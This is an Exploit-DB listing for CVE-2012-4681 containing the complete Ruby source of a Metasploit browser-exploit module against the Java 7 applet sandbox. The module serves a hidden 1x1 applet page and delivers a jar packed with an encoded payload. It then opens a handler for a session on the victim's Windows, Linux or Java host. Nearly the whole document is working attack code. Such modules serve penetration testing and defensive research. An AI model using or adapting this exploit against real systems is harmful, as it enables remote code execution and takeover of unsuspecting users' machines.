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Java 7 Applet Remote Code Execution



EDB-ID: 20865 CVE: 2012-4681 OSVDB-ID: 84867
Author: metasploit Published: 2012-08-27 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({ :javascript => false })

	def initialize( info = {} )
		super( update_info( info,
			'Name'          => 'Java 7 Applet Remote Code Execution',
			'Description'   => %q{
					This module exploits a vulnerability in Java 7, which allows an attacker to run arbitrary
				Java code outside the sandbox. This flaw is also being exploited in the wild, and there is
				no patch from Oracle at this point. The exploit has been tested to work against: IE, Chrome
				and	Firefox across different platforms.
			},
			'License'       => MSF_LICENSE,
			'Author'        =>
				[
					'Unknown', # Vulnerability Discovery
					'jduck', # metasploit module
					'sinn3r', # metasploit module
					'juan vazquez', # metasploit module
				],
			'References'    =>
				[
					#[ 'CVE', '' ],
					#[ 'OSVDB', '' ],
					[ 'URL', 'http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html' ],
					[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-0-day-vulnerability-information.html' ]
				],
			'Platform'      => [ 'java', 'win', 'linux' ],
			'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
			'Targets'       =>
				[
					[ 'Generic (Java Payload)',
						{
							'Arch' => ARCH_JAVA,
						}
					],
					[ 'Windows Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'win'
						}
					],
					[ 'Linux x86',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'linux'
						}
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Aug 26 2012'
			))
	end


	def on_request_uri( cli, request )
		if not request.uri.match(/\.jar$/i)
			if not request.uri.match(/\/$/)
				send_redirect(cli, get_resource() + '/', '')
				return
			end

			print_status("#{self.name} handling request")

			send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
			return
		end

		paths = [
			[ "Exploit.class" ]
		]

		p = regenerate_payload(cli)

		jar  = p.encoded_jar
		paths.each do |path|
			1.upto(path.length - 1) do |idx|
				full = path[0,idx].join("/") + "/"
				if !(jar.entries.map{|e|e.name}.include?(full))
					jar.add_file(full, '')
				end
			end
			fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-XXXX", path ), "rb")
			data = fd.read(fd.stat.size)
			jar.add_file(path.join("/"), data)
			fd.close
		end

		print_status("Sending Applet.jar")
		send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )

		handler( cli )
	end

	def generate_html
		html  = "<html><head></head>"
		html += "<body>"
		html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
		html += "</applet></body></html>"
		return html
	end

end